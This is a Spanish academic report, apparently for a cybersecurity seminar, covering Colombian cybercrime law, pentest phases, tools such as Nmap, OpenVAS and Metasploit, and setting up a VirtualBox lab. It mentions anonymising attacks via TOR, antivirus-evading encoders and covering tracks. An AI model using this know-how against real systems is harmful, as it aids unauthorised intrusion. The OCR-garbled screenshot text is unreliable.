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1 GLOSARIO

Vulnerabilidad: Es un punto débil que tiene un sistema a nivel de software
o0 hardware computacional que permite que sea vulnerado y no cuenta con

las configuraciones necesarias para evitar ser vulnerado.

Seguridad: Son el conjunto de herramientas, procedimientos y estrategias
gue tienen como propodsito garantizar la integridad, disponibilidad y

confidencialidad de un sistema informatico.

Red Team: Es el equipo rojo el cual esta conformado por profesionales
especializados o en su defecto hacker éticos con altos conocimientos técnicos
en seguridad informatica que emulan ataques informaticos que intentan
superar y penetrar los controles de seguridad implementados en las

organizaciones y ellos evaluan la seguridad del sistema de manera objetiva.

Blue Team: Es el equipo azul y esta esta formado Es el equipo rojo el cual
esta conformado por profesionales especializados o en su defecto hacker
éticos con altos conocimientos técnicos en seguridad informatica por
profesionales de la seguridad que tienen un amplio conocimiento de la
empresa de adentro hacia fuera, su tarea es monitorear, analizar malware,
ransomware y cazar amenazas, otra labor importante es proteger los activos
de la organizacién de cualquier amenaza interna o externa que intente

penetrar los sistemas de proteccion.

Ataques: eslaforma en la que un hacker intenta explotar una vulnerabilidad
o indisponer un servicio al intentar exponer, alterar, desestabilizar, destruir

informacion y obtener acceso no autorizado a un activo.

Malware: programa mal intencionado que fue creado para infiltrarse en

sistemas o dispositivos sin su consentimiento.

Routers: Es un dispositivo de la capa de red que conecta redes con

ordenadores.



Amenaza: Es la posibilidad potencial de que un incidente de seguridad

suceda con el potencial necesario para generar un dafio informatico.

Confidencialidad: Es el pilar de la seguridad informatica que se enfoca en
garantizar que la informacién sea accesible Unicamente por el personal

autorizado para los propdsitos establecidos.

Disponibilidad: Es uno de los pilares que busca garantizar la disponibilidad

de la informaciéon y al momento de acezarla esté disponible sin interrupciones.

Integridad: Garantiza que la informacién gestionada no sea modificada,
alterada por una persona no autorizada que afecte el flujo de los procesos de

la seguridad de la informacion.

Riesgo: Materializacién de una amenaza informatica que haya aprovechado

una vulnerabilidad.

IoC: por sus siglas en inglés es un dato que permite identificar
comportamientos maliciosos en direcciones IP, dominios, urls, hash que
tienen unas caracteristicas o descripcién de una amenaza lo cual permite
confirmar con certeza que nuestro equipo fue comprometido con un virus,
ransomware, malware, pero también es informacion que puede ser utilizada

para prevenir futuros ataques

Auditoria caja negra: Por lo general la realiza una empresa o persona
externa a la empresa o un equipo de red team que no conoce nada de la
empresa y su infraestructura. Una de las fases que se utiliza es Footprinting,
el cual le permite al equipo de red team o pentestert recopilar informacién
externa y en comparacion con el Fingerprinting es otra fase donde recopila y

enumeran los datos de la empresa.

Auditoria caja blanca: En esta auditoria el equipo de red team o pentetert
conoce la infraestructura por dentro con el fin de tener ganar acceso a toda
la informacion y saltandose los controles de seguridad. Esta etapa del ataque
se llama Fingerprinting y permite recopilar informaciéon de la organizacion

rapidamente y permite aplicar planes de remediacién.



Auditoria caja gris: Esta prueba combina fases de ambas pruebas tanto de
caja negra como de caja blanca lo que permite a un equipo de red team,
hacer fases de reconocimiento previas con informacion basica de la empresa
y desde ese punto comenzar a escalar privilegios en la red desde diferentes

puntos, redes inaldmbricas, red Lan y desde internet.

Ransomware: Este malware utiliza como vector de ataque el correo
electrénico por el cual las victimas descaran el malware que permite la
explotacion de la vulnerabilidad SMB V1 CVE-2017-0144 que se encuentra en
sistemas operativos Microsoft en todos sus sistemas operativos uno de los
ataques mas conocidos a nivel mundial fueron wannacry o ethernalblue” y
una de sus caracteristicas es que solicita dinero para rescatar la informacion

robada a sus victimas.

APT: Amenaza Avanzada Persistente, los grupos de APTs son muy comunes
en la actualidad realizan ataques coordinados que duran meses lo que les
permite explotar los sistemas sin ser detectados por lo general dejan una
puerta trasera que les permite comunicarse con el C2 (Comando y control)
gue es donde el grupo almacenar la informacion recopilada para ser vendida

0 en su defecto desplegar un ransomware para pedir rescate.



2 INTRODUCCION

En Colombia, dada la adopcidn de las tecnologias de sistemas de informacion
y su relacién con el manejo de los datos personales que se acarrea con estas,
ha sido necesario la normalizacidn judicial y legislativa con leyes que buscan

proteger la informacién y castigar los delitos informaticos.

Es este trabajo se presenta el marco legal en Colombia relacionados con los
delitos informaticos y la proteccion de datos personales, se identifican
también las etapas del pentesting, la definicién de algunas herramientas de
ciberseguridad y finalmente, se describe la implementacién del ambiente del
banco de trabajo en el cual se lleva a cabo la practica del Seminario
Especializado: Equipos Estratégicos en Ciberseguridad: Red Team & Blue

Team.

También se describen las herramientas utilizadas para el andlisis de
vulnerabilidades que pueden ser aplicadas para detectar vulnerabilidades del
escenario del seminario especializado: Equipos Estratégicos en

Ciberseguridad: Red Team & Blue Team.



3 DEFINICION DEL PROBLEMA

La implementacién de tecnologias informaticas al interior de una compafia
ha traido beneficios como la automatizaciéon de procesos, disminucién en la
probabilidad de errores, acceso a la informacién desde cualquier lugar, entre
otros que potencializan su negocio. Pero, a su vez, viene acompafado de
desventajas que pone en riesgo la informacién de la compafiia y sus usuarios.
De ahi, el interés de las compaiiias en implementar estrategias proactivas y
reactivas para la proteccion de sus activos informaticos ya que, de no hacerlo,
se ven expuestas a al acceso abusivo a sus sistemas informaticos,
intercepcion de datos informaticos, a la violacion de los datos personales, a
la suplantacién de sitios web, dano de la informacién, entre otros ataques

que incluso pueden desembocar en la quiebra.

¢Coémo los equipos de seguridad Red Team y Blue Team desarrollan funciones
gue contribuyan al aseguramiento de activos de la informacién en compaiias

para evitar y/o prevenir las amenazas informaticas?



4 JUSTIFICACION

Hoy en dia es de suma importancia tener equipos de seguridad que generen
sinergia al interior de las empresas y tener claros los roles que deben apoyar
estas gestiones a nivel tactico y estratégico que estén en pro de la misidn de
la empresa y tener procedimientos claros frente a in ciberataque, tener
procedimientos de incidentes, procedimiento de crisis y plan de continuidad
que permita brindar la operacién de la empresa bajo un incidente de
ciberseguridad y poder tener claro el mapa de ruta que deben sequir para

garantizar la continuidad de negocio el talento humano.
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5 OBIJETIVOS

5.1 OBJETIVO GENERAL

Evaluar las acciones de los equipos Red Team & Blue Team de una

organizacion en el marco de los criterios éticos y legales.

5.2 OBJETIVOS ESPECIFICOS

Identificar el marco legal vigente en Colombia asociado a los delitos
informaticos y la protecciéon de datos personales.

Definir las etapas de una prueba de penetracién incorporando un
ejemplo de herramienta q pueda utilizarse en cada una de ellas.
Definir y explicar algunas herramientas y servicios en linea de
Ciberseguridad.

Reconocer, analizar y configurar el "banco de trabajo" sobre el cual se
trabajara durante las etapas posteriores del Seminario Especializado:
Equipos Estratégicos en Ciberseguridad: Red Team y Blue Team.
Encontrar los procesos ilegales del anexo 3 con relacién al articulo de
la ley 1273 se podrian vulnerar en dicho acuerdo.

Identificar los procesos pocos confiables del anexo3 con el fin de
justificar la oportunidad laboral en WhiteHouse.

Identificar las implicaciones legales y éticas del caso "OPERACION
ANDROMEDA BUGGLY".

Describir de manera especifica las herramientas de software que se
utilizaran para llevar a cabo el anexo 4 - escenario 3.

Listar y describir los datos e informacién del anexo 4- escenario 3 que
son de utilidad para identificar el fallo de seguridad de la maquina
Windows 7 x64.

Realizar analisis de la vulnerabilidad presentada identificando los fallos
y las herramientas utilizadas.

Indicar las actividades que se realizarian después de identificar un

ataque informatico en tiempo real.
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Indicar las medidas de hardenizacion que se implementarian a un
sistema vulnerable como el presentado en el anexo 5 - escenario 4.
Identificar las diferencias entre un equipo BlueTeam y un equipo de
respuesta a incidentes informaticos.

Identificar el objetivo de CIS "Center For Internet Security" al interior
de Blue team.

Explicar y redactar las caracteristicas y funciones principales de un
SIEM.

Definir tres herramientas de contencidn de ataques informaticos

12



6 MARCO TEORICO

6.1 MARCO LEGAL EN COLOMBIA ASOCIADO A LOS DELITOS
INFORMATICOS Y PROTECCION DE DATOS PERSONALES

Dentro del margen legal sobre delitos informaticos y proteccidn en datos
personales, el estado Colombiano cuenta con normatividad importante que
ha venido legislando con mayor fuerza en esta Ultima década, siempre
tratando de adaptarse a la nuevas realidades propias de los avances
tecnoldgicos que viene afrontando el pais por el proceso de globalizacion,
teniendo avances significativos en conectividad y todo lo que tiene que ver
con las TIC's por lo que se ha visto en la necesidad de ajustar su normatividad

para poder contrarrestar esos riesgos adyacentes de las nuevas tecnologias.
LEY 1273 DE 2009

A través de la ley 1273 de 2009 el congreso de la Colombia modificé el Cédigo
Penal vy tipifico los delitos informaticos contra la proteccion de la informacion,
los datos y los sistemas informaticos, buscando con esta "la preservacion
integral de los sistemas hagan uso de tecnologias de la informacion y las

comunicaciones”.

En el capitulo primero (atentados contra la confidencialidad, la integridad y
la disponibilidad de los Datos y sistemas informaticos) se penaliza los

siguientes delitos:

- Articulo 269A: Acceso abusivo a un sistema informatico - (prision 48 a
96 meses, multa 100 a 1000 S.M.L.M.V.).

- Articulo 269B: Obstaculizacién Ilegal de Sistema Informatico o Red de

Telecomunicacién (prision 48 a 96 meses, multa 100 a 1000 S.M.L.M.V.)

- Articulo 269C: Interceptacion de Datos Informaticos (prision 36 a 72

meses).

- Articulo 269D: Dafo informatico (prision 48 a 96 meses, multa 100 a
1000 S.M.L.M.V.). - Articulo 269E: Uso de Software Malicioso (prision 48 a
96 meses, multa 100 a 1000 S.M.L.M.V.).
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- Articulo 269F: Violacion de Datos Personales (prision 48 a 96 meses,
multa ICO a 1000 S.M.L.M.V.).

- Articulo 269G: Suplantacion de sitio Web para Capturar Datos
Personales (prision 48 a 96 meses, multa 100 a 1000 S.M.L.M.V.).

- Articulo 269H: Circunstancias de Agravacion Punitiva (las penas se
aumentan de la mitad a las tres cuartas partes si los delitos se cometan
sobre: 1) redes o sistemas informaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros; 2) Por servidor
publico activo; 3) aprovechamiento de confianza; 4) dar a conocer
informacidn en perjuicio de otro; 5) obteniendo provecho para si mismo o
para un tercero; 6) con fines terroristas; 7) utilizando como instrumento un
tercero de buena fe; 8) si es responsable de la administracién, manejo o

control de dicha informacion.

En el segundo capitulo (atentados informaticos y otras infracciones) se

penaliza los siguientes delitos:

Articulo 2691: Hurto por medios informaticos y semejantes (penas sefaladas

en el articulo 240 del cédigo penal entre 3 y 8 afos)

Articulo 269]: Transferencia no Consentida de Activos (prisién 48 a 96 meses,
multa 100 a 1000 S.M.L.M.V.).

LEY 1928 DEL 2018

Por medio de la ley 1928 del 24 de julio de 2018, el gobierno colombiano
incluye dentro de su normativa, el Convenio sobre Ciberdelincuencia,
adoptado el 23 de noviembre 2001, en Budapest, del Concejo de Europa, y
vigente desde el julio de 2004.

Con esta incorporacion, el estado colombiano busca estar en sintonia con los

estandares y esfuerzos conjuntos que realizan los estados suscritos en este

14



convenio a nivel mundial, en la lucha contra la ciberdelincuencia. El estado
colombiano con esta adhesién se compromete, a través de la cooperacién
internacional, el desarrollo de estrategias conjuntas bilaterales vy
multilaterales, y el fortaleciendo de sus leyes y regulaciones internas

nacionales, para continuar la lucha para resguardar el espacio cibernético.

LEY 1581 DE 2012 Y DECRETO 1377 DE 2013

Por medio de la ley 1581 de 2012 y el decreto 1377 de 2013 que reglamento
esta ley, el gobierno nacional dicto las disposiciones generales para la
proteccidon de datos personales, con lo cual se desarrolld el marco juridico
que da reconocimiento de los datos e informacién personal como u' bien

juridico tutelado.

La ley 1581 de 2012 Habeas Data, es de mucha importancia, porque
desarrolla el derecho constitucional que tiene toda la ciudadania colombiana
para conocer, suprimir, actualizar y rectificar todo tipo de datos personales
gue estén recolectados, almacenados o que hayan surtido algun tratamiento
en bases de datos en entidades publicas y privadas en el territorio
colombiano. Para esto, esta ley establece unos principios rectores, los
derechos de los titulares de la informacién, los deberes que adquieren los
responsables de tratamiento de los datos, el procedimiento para solicitudes
de correcciones de informacion, entre otros. Como entidad gubernamental
designada para la vigilancia y sanciones en cuanto a esta ley, esta la

Superintendencia de Industria y Comercio.
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6.2 PRUEBAS DE PENETRACION (PENTESTIN) DEFINICON DE ETAPAS
Y HERRAMIENTAS

Un test de penetracién Por lo general es una accién acordada entre un
pentester y una empresa o individual que desea tener sus sistemas
informacién puestos a prueba para identificar y posteriormente corregir
posibles vulnerabilidades y los peligros asociados a las mismas. Esta
auditoria representa para el cliente una importante fuente de
informacion ya que el pentester actuara como un atacante
proporcionando informacion desde un punto de vista totalmente
diferente al que el propio equipo de IT de la empresa (en caso que no

se realice el test de penetracién) pueda aportar.

El objetivo del test de penetracion variara de cliente en cliente, se
puede pedir al pentester comprobar una aplicacion web, intentar
ejecutar ataques de ingenieria social, actuar como un atacante interno,
comprobar los sistemas fisicos de seguridad en la oficina, etc.
Normalmente cualquier test de penetracion se debe efectuar siguiendo
unos pasos predeterminados para poder presentar finalmente unos
buenos resultados, estos pueden variar en cierta medida dependiendo

del auditor, pero generalmente vienen a ser los siguientes:

Fases de un test de penetracion

1-Contacto

En esta fase inicial se debe acordar con el cliente en que va a consistir
el test de penetracion, entendiendo cual es el objetivo de este pentest,
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cudles son los servicios criticos para la empresa y que supondria un
mayor problema en caso de ataque. Dependiendo de la empresa, una
web caida durante algunas horas puede suponer un grave dafo
econdmico mientras que para otras seria mucho mas grave que se

robara informacion de sus bases de datos.

En esta fase se han de hablar y acordar por escrito diversos aspectos
del test de penetracién, como por ejemplo cual seria el ambito de
nuestro pentest, que IPs, servicios o dispositivos se pueden incluir en
el pentest y cudles no. ¢Se podran utilizar exploits contra servicios
vulnerables o Unicamente identificarlos? ¢Se podra ejecutar el pentest
en cualquier momento o solo a determinadas horas? A quien se debe
contactar en caso encontrar alguna vulnerabilidad critica para la

empresa...

Ademas de estos puntos en esta fase se ha de obtener del cliente un
escrito en el que se autorice este test de penetracién y limite la
responsabilidad en caso de que surjan problemas y finalmente todo lo

relacionado a pagos, etc., por este trabajo.

Herramientas: Durante esta fase no hay herramientas de pentesting
asociadas pero dada la forma de trabajo actual, se recomiendan
aplicaciones como Teams de Microsoft, Webex de Cisco que permitiran
establecer sesiones de trabajo para el contacto con las partes

interesadas

Adicional, Puede ser preparar todo el software y las formas de realizar las
conexiones, como puede ser configurar una VPN para hacer ataques de forma

anénima. (Preparar la Kali a través de TOR).

17



2- Fase de recoleccion de informacion

En esta fase del pentest se obtiene toda la informacion posible de la empresa
disponible a través de arafias y de scanner para hacernos una idea de los
sistemas y programas en funcionamiento. La actividad de los empleados en
redes sociales de la empresa también puede revelar que sistemas utilizan,

sus correos electrdnicos, etc. Toda esta informacion sera de gran utilidad.

Herramientas:

- Nmap (escaneo de puertos)
-  FOCA (analisis de metadatos)

-  Passive Recon (para webs}

3- Fase de modelado de amenaza

En este momento y a partir de la informacion recogida previamente, se debe
pensar como si se fuera atacante el cual va a ser la estrategia de penetracion,
Cuales deben ser los objetivos y qué manera se tendria de llegar hasta ellos.
Puede ocurrir que posteriormente y sobre la marcha lo que se crea seria la
puerta de entrada se convierta en un callejon sin salida y se siga un camino
diferente e inesperado, de todas maneras, siempre es necesario plantear

inicialmente esta estrategia.

Herramientas:

-  FOCA (analisis de metadatos)

4- Fase de Analisis de vulnerabilidades

Llegados a este punto se debe valorar el posible éxito de fas estrategias de
penetracion a través de la identificacidn proactiva de vulnerabilidades. En
este momento es cuando la habilidad del pentester se pone de manifestd ya
que la creatividad del mismo es determinante para seleccionar y utilizar
correctamente todo el arsenal de herramientas a su disposicion para

conseguir los objetivos establecidos en pasos anteriores.
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Herramientas:

- Acunetix

- Nessus

5- Fase de Explotacion

Ha Negado el momento de intentar conseguir acceso a los sistemas objetivo
de nuestro test de penetracion, para él lo se ejecutard exploits contra las
vulnerabilidades identificadas en fases anteriores o simplemente se utilizara

credenciales obtenidas para ganar acceso a los sistemas.

Herramientas:

- Metasploit
- Empire
- Sqglmap
- Burp Suite

- Canvas

6- Fase de Post-Explotacion

En el momento en que se haya puesto un pie dentro de los sistemas del
cliente comienza la fase en la que ha de demostrar que podria suponer esta
brecha de seguridad para el cliente. No es lo mismo conseguir acceder a un
antiguo ordenador que no sea tan siquiera parte del dominio como entrar
directamente a un DC. En esta fase se trata de conseguir el maximo nivel de
privilegios, informacién de la red y acceso al mayor numero posible de

sistemas identificando que datos y/o servicios que hay al alcance.

Herramientas: Después de la explotacion y de haber obtenido acceso, seria
posible hacer una recogida de informacién a nivel interno para intentar ganar

privilegios o realizar otras acciones como saltos movimientos laterales o
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pivoting (saltar de la maquina a otra de la misma red que desde el exterior
no se tenia acceso), establecer un canal para conectarse, como un tunel, o

también el borrado de huellas para no dejar rastro

7- Fase de Informe

Finalmente se tiene que presentar el resultado de la auditoria al cliente, de
manera que este comprenda la seriedad de los riesgos emanantes de las
vulnerabilidades descubiertas, remarcando aquellos puntos en los que la
seguridad se habia implantado de manera correcta y aquellos que deben ser
corregidos y de qué manera. Esta fase es para las dos partes posiblemente
la mas importante. Como posiblemente este informe sea leido tanto por
personal de IT como por responsables sin conocimientos técnicos conviene
separar el informe en una parte de explicacion general y en otra parte mas
técnica lo que vendria a ser per una parte el informe ejecutivo y el informe

técnico.

6.3 DEFINICION Y EXPLICACON DE ALGUNAS HERRAMIENTAS DE
CIBERSEGURIDAD

Las herramientas de analisis de vulnerabilidades son utilizadas para
identificar las vulnerabilidades que pueden estar presentes en una plataforma
informatica y deberian ser atendidas para evitar ataques que afecten los

activos de una compafiia.

A continuacidn, se describen tres (3) herramientas y dos servicios en linea
utilizadas para el analisis de vulnerabilidades que pueden ser aplicadas
durante el desarrollo de seminario especializado: Equipos Estratégicos en

Ciberseguridad: Red Team & Blue Team
Herramientas:
- Metasploit

Es una herramienta que se muy completa que se caracteriza por tener

bastantes exploits, que son vulnerabilidades conocidas, en las cuales tienen
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también unos mddulos, llamados payloads, que son los cédigos que explotan

estas vulnerabilidades.

También dispone de otros tipos de mddulos, por ejemplo, los encoders, que
son una especie de cddigos de cifrado para evasidon de antivirus o sistemas

de seguridad perimetral.

Otra de las ventajas de este framework es que nos permite interactuar
también con herramientas externas, como Nmap o Nessus, como ya veremos

durante el curso de Metasploit.

Ademas, ofrece la posibilidad de exportar nuestro malware a cualquier

formato, ya sea en sistemas Unix o Windows.

Destacar también que es multiplataforma y gratuita, aunque tiene una
version de pago, en la que se nos ofrecen exploits ya desarrollados, pero cuyo
coste es bastante elevado. La versidn gratuita es muy interesante porque

contiene todas las vulnerabilidades publicas.
- Nmap

Nmap Es una herramienta de cddigo abierto utilizada en la actualidad bajo
multiples plataformas para identificar la seguridad de los sistemas

informacion enviando paquetes definidos y analizando la respuesta recibida.

Nmap incluye diferentes opciones para el escaneo avanzado de redes

informaticas a través de scripts que incluye el descubrimiento de

Estaciones de trabajo, servicios y sistemas operativos con las

vulnerabilidades encontradas por las herramientas.

Nmap viene por defecto en Kali Linux, para verificar si esta instalada y en

gue version se puede utilizar el comando nmap --versién
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Figura 1. Nmap

map.org )

Ci t openssl-1.1.1d 1ibssh2-1.8.8 1ibz-1.2.11 libpcre-8.39 nmap-libpcap-1.7.3 nma
p-libdnet-1.12 ipvé
Compiled without:

Available nsock engines: epoll poll select

Fuente: Autor

Con el comando nmap 192.168.0.21 (ip del servidor a escanear), se realiza
un escaneo de puertos del servicio Oracle Linux y como salida se visualizan

los puertos abiertos sobre el servidor.

Figura 2. Escaneo con Nmap

:~% nmap 192.168.0.21
Starting Nmap 7.80 ( https://nmap.org ) at 2020-@7-85 ©02:55 EDT
Nmap scan report for 192.168.8.21
Host is up (@.00888s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
1521/tcp open oracle
3386/ /tcp open mysql
5432/tcp open postgresql
6002/tcp open X11:2

Mmap done: 1 IP address (1 host up) scanned in 5.74 seconds

5 1l

Fuente: Autor

La salida del comando permite identificar los puertos por los cuales se ha
configurado los servicios de base de datos, esta informacién es un insumo
gue puede ser utilizada por un atacante generando un SLQ Inyeccién o

DDos (Ataque de denegacion de servicio).
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* OpenVas

Es una herramienta avanzada de cdédigo que realiza identificaciéon de
vulnerabilidades cuyo motor de escaneo actualiza de manera diaria las NVT,
nuevas pruebas de vulnerabilidad de red. Es un desarrollo basado en el
escaner de vulnerabilidad Nessus.

Con OpenVAS se pueden 'realizar pruebas con o sin autenticacion, soporta
diferentes protocolos industriales y de Internet, se puede modificar el

rendimiento para escaneos exigentes.

Se coloca la IP del servidor Oracle Linux que para este caso es
192.168.0.21 (ip del server a escaner) y se da clic en Star Scan:
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Figura 3. Escaneo con Openvas

Quick start: Immediately scan an IP A

IP address or hostname: I
192.168.0.21

The defaull adiress is either your computer or your network gateway.
As a short-cut 1 will do the following for you:

1, Create a new Target

2. Create a new Task

3, Start this scan 1ask right away

4, Switch the view to reload every 30 seconds 50 you can lean back and watch the scan progress

In fact, you must nat lean back. As soon as the scan progress is beyond 1%, you can already jump into
the scan report via the link in the Reports Total column and review the results collected so far.

When creating the Target and Task | will use the defaults as configured in "My Settings”.

By clicking the New Task icon ksl you can create a new Task yourself.

SS1RL S0

Fuente: Autor

Se empieza a realizar el escaneo, sobre el panel se puede ver el
estado que podra revisarse cuando el estado sea Done:

24



Figura 4. Resultados del escaneo

Kali Forums MetHunter

reenbone Refresh every 30 Sec | Logged i min | Logout
‘Security Assistant ! Sun Jul 5 07:09:50 2020 UTC
Dashboard Assets Secinfo l:aliﬂﬂl.lrl\uﬁh Extras Administration
[7] . ]*] Filter, 1S[x]7]~]
o .

Tasks with most High results per host ... - Tasks by status (Total: 2)

W High Il Done

| N/A
Immediate scan of IP192....

00 05 10 15 20

Se\renty Trend

Immediate scan of IP 192,168,0.21 414)  Jul52020 0 DODhaaco

Fuente: Autor

Se da clic en Done para ingresar al reporte, luego se le secciona una
de las vulnerabilidades detectadas para analizarla, asi se continua
con cada una de las vulnerabilidades.
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Flgura 5. Resultados del escaneo

Logged in as Admin admin | Logout
Sun Jul S 07:10:50 2020 UTC]

Assets Seelnfe Configuration Extras Administration

U D fO00faa9-8400-4a7b-932f-c 1bB7 33fcbcd
:‘ &k‘ Moaifed: Sun jul 5 07:08:55 2020

M "~ Report: Results (7 of 135) Cres S Ju 5 045639 200

;

aon s Tioaton Jctons
Gl Report cutdated / end-oflife Scan Engine f Environment (local) (Wl 100 (High! | 97% 192.168.0.21 generaltcp @ .

:‘: phpinfol) output Reporting [#) B0%  192.168.0.21 80/tcp L

Ml HTTP Debugging Methods (TRACE/TRACK) Enabled ] fium) | 99%  192,168.0.21 80/tcp o |

: SSL/TLS: Deprecated S5Lv2 and 55Lv3 Protocol Detection B EEED Medium) | 98% 192.168.0.21 3306/tcp A .

é SSL/TLS: Report Weak Cipher Suites %] paodivn) | 98%  192.168.0.21 3306/tep &

LN S5H Weak Encryption Algerithms Supported &Y el 95%  192.168.0.21 22ftcp & i

: TCP timestamps SR 26 iLow) | B0%  192.168.0.21 generalftcp 1%

@ Pl fiiterautofp=0 apy owerr 1 not 1 C 1 ly=1 € - e hin 10 !

1

Fuente: Autor

Figura 6. Vulnerabilidad encontrada

i Forums NetHunter ]|

in as admin | Log
Sun Jul 5 07:12:03 2020

Assets Secinfo Configuration Extras Administration

D 30487340-06da-2443-bbeb-85F 10236
Created: Sun Jul 5 06:57:03 2020

Modified: Sun Jul 5 06:-57:03 2020

Owmer:  sdmin

\'zj.‘Result: Report outdated / end-of-life Scan Engine / Environment (local)

Report cutdated | end-oHife Scan Engine / Environment {local) 97% 192.168.0.21 generalftcp 3

Summary
This script checks and reports an outdated or end-ofife scan engine for the following environments:

- Greznbane Source Edition (GSE}
- Greenbone Community Edition (GCE)
used for this scan.

NOTE: While this is not, in and of itself, a security vuinerability. a severity s reported to make you aware of a possible decreased scan coverage or missing detection of
vulnerabilities on the target due to e.g.:

- missing functionalities
- missing bugfixes

- incompatibilities within the fead.

Vulnerability Detection Result

Installed GVM Libraries (gwm-libs) version: 9.0.3

Latest available GWM Libraries (gvm-libs) version: 18.8.2

Reference URL(s) for the latest available version: https://community.greenbone.net/t/gvm-11-stable-initial-release-2019-10-14/3674 /
https://community.greenbone.net/t/gum-18-old-stable-initial- release-2019-84-05/208

Solution
Solution type: L vendorFix

Update to the latest available stable release for your scan environment. Please check the references for more information. If you're using packages provided by your Linux
distribution please contact the maintainer of the used distribution / repository and request updated packages.

Fuente: Autor
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El reporte entregado por la herramienta brinda una solucion para
corregir la vulnerabilidad detectada.

Servicios en linea:

e ExploitDB

'Exploit-db (base de datos de exploits o brechas de seguridad) es un
directorio web donde muchos hackers cuelgan vulnerabilidades de
aplicaciones y como aprovecharse de ellas, con instrucciones especificas.

Cada dia aparecen nuevas y es un lugar donde se puede aprender mucho,
pero también se puede hacer dafio a terceros si hacemos un mal uso de sus
instrucciones y lo hacemos con fines malévolos.

La base de datos de exploits es mantenida por Offensive Security, una
empresa de formacién en seguridad de la informacidon que ofrece diversas
certificaciones de seguridad de la informacién, asi como servicios de pruebas
de penetracion de alto nivel. Exploit Database es un proyecto sin fines de
lucro que Offensive Security proporciona como servicio publico.

La base de datos de exploits es un archivo compatible con CVE de exploits
publicos y el software vulnerable correspondiente, desarrollado para su uso
por probadores de penetracion e investigadores de vulnerabilidades. Nuestro
objetivo es servir la coleccion mas completa de exploits recopilada a través
de envios directos, listas de correo y otras fuentes publicas, y presentarlas
en una base de datos de facil navegacion y disponible de forma gratuita. La
base de datos de exploits es un repositorio de exploits y pruebas de conceptos
en lugar de avisos, lo que la convierte en un recurso valioso para quienes
necesitan datos procesables de inmediato.

" https://www.exploit-db.com/,

27



Figura 7. Herramienta Exploit Database

C (o Epictaseon

* O
x

20210827

20210827

L% 20210827

20210826 WebApps Multiple Aitio

20210825 WebApps
+ 20210825
20210825

20210823

20210823

20210823

20210820

20210820

2021-08:20

20210819

L T S o T T P T P PO P PP 1
x

2021-08-18 rver 1.9.0 - SetUp() Remote Buffer Overflow Remote

Showing 110 15 of 44,358 entries

Downloads Certifications Training

osce

oswp

Fuente: https://www.exploit-db.com/,

CVE

La mision del Programa CVE es identificar, definir y catalogar las
vulnerabilidades de ciberseguridad divulgadas publicamente. Hay un
registro CVE para cada vulnerabilidad en el catdlogo. Las
vulnerabilidades son descubiertas y luego asignadas y publicadas por
organizaciones de todo el mundo que se han asociado con el Programa
CVE. Los socios publican registros CVE para comunicar descripciones
consistentes de vulnerabilidades. Los profesionales de la tecnologia de
la informacion y la seguridad cibernética utilizan CVE Récords para
asegurarse de que estan discutiendo el mismo problema y para
coordinar sus esfuerzos para priorizar y abordar las vulnerabilidades.

28



6.4 IMPLEMENTACION DEL BANCO DE TRABAJO

A continuacion, se analiza y configura el "banco de trabajo” de acuerdo con
lo indicado en el anexo 1:

PASO A:

* Se descarga la ultima version disponible de Virtual Box del sitio

« oficial, https://www.virtualbox.ofg/wiki/Downloads :

Figura 8. Virtual box

NZ .VirtualBox

shore

ol frd links te Vietualga bic

5 to upgrad the gusst additions a: well.

‘VirtualBox Extension Fack

Fuente: https://www.virtualbox.org/

PASO B:

Se ingresa al repositorio (OVAS - Laboratorios - Google Drive) donde se
encuentran las imagenes del banco del trabajo y se descargan cada

una de ellas para su posterior montaje sobre virtual box, Un Windows
7 ¥86, un Windows 7 X6&4, un Kali Linux.
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Figura 9. Maquina virtual windows?7

. orrzoSET

- & L) @ e

Importar servicio virtualizado
Preferencias de servicio

Estas son las méquinas virtuales contenidas en e servicio y las preferencias sugeridas de las maguinas virtusles importadas de VirtualBox.

i
Pusde cambiar varias de les propiedadss mastradas hadendo doble cic en los slemenes y deshabiltar otras usande las casilis de verificaion
de sbajo.

0 C | ~
¥ Importando servicio virtualizado ... Importing appliance D/ OVAS/WinT-...
(0 Tarjeta de
&P Adaptador
Importing virtual disk image “Win7-SE2020-X54-disk00 1, vmdk' ... {2/3)
~ & Controlad
| X
B image
Tiempo restante: 4 minutos
Carpeta b
Grupo primafic FSiSeg. DB
v
Carpeta base de méquina: | || D:Maquinastir uales Windows_7_X86

Politica de direccién MAC: | Induir solo las direcciones NAT de adaptador de red

Opdones adicionales: [7] Importar discos come VDI
Servicio virtualizado no firmado

|Restaurar valores predeterminados|  Importar Cancelar

Fuente: Autor
Se da clic sobre el archivo Kali - Seminario para |proceder con la
importacion de la maquina virtual con Kali Linux.

Figura 10. Maquina virtual Kali Linux

¥

- O
i — B b oD,
T
Importar servicio virtualizado |
Preferencias de servicio
Win7-SE203  Estas son las méquinas virtusles contenidas en el servici y las preferencias sugeridas de las maguinas virtusles importadas de vitualBox.  \FAURRGRY
@) Apagada)

i
Puede cambiar varias d las propiedaces mestradas haciende doble cic en los elemenos v deshabiltar otras usande las casilas de verificaion
de zbaio.

Sistema virtual 1
%% Nombre
FH Tipo de st
$l cru

% Importando senvicio virtualizado ..; Importing appliance 'D:/OVAs/WinT-...

\\ Importing virtual disk image 'Win7-SE2020-64-disk00 L.vmdK ... (2/3)

# ' Configuracién maquinas virtuales — figura — tomada: el Autor Daniel V
@ v Tiempo restante: 2 minutos, 23 segundos
£ Controlad

({8 Tarjeta de sonido

iera

[4] Audio Intel HD

v
Carpeta base de maquina: | | | D:\Maguinasvirtuales Kall Linux v
Palitica de direccién MAC: |Incluir salo las direcciones NAT de adaptador de red -
Opciones adicionales: Importar discos como ¥DI
Servicio virtualizado no frmado
Restaurar valores predeterminados importar Cancelar

[ e

[C] Carpetas compartidas

Ninauno,

Fuente: Autor
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Se verifica comunicacion entre la maquinal Windows 7 X86 y Kali
Linux para lo cual se identifica la IP de cada una y con la funcion ping
sobre un terminal de comandos se alcanza la IP contraria.

Figura 11. Ip Kali Linux

i Kali-Linux-2021.2-virtualbox-amdé4 [Cerriendo] - Oracle VM VirtualBox l = J— [m] x

Archive Maquina Ver Entrada Dispositivos  Ayuda

root@kali: fhome/kali

File Actions Edit View Help

» RUNNING , MULTI(
tmask 2 i

Fuente: Autor
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Figura 11. Ip Windows y ping a Kali linux

ki L]

Tiene la opcidn autocaptura de teclado habilitada. Esto causard que la maquina virtual capture automaticamente el tedado L’_‘J Q;J

—
